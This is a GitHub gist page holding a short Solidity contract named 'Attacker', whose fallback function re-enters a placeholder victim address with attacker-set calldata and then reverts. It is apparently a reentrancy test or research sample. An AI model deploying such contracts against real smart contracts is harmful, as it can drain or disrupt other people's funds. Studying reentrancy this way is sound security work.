Created
December 3, 2018 07:43
-
-
Save duytai/aa1ce706ac4b0b78d4e8dd7acbe124ea to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.2; | |
contract Attacker { | |
bytes data = ""; | |
uint count = 0; | |
address victim = 0xf1; | |
function() payable { | |
count ++; | |
if (count < 2) { | |
address(victim).call(data); | |
} | |
count = 0; | |
data = ""; | |
revert(); | |
} | |
function set(bytes _data) { | |
data = _data; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment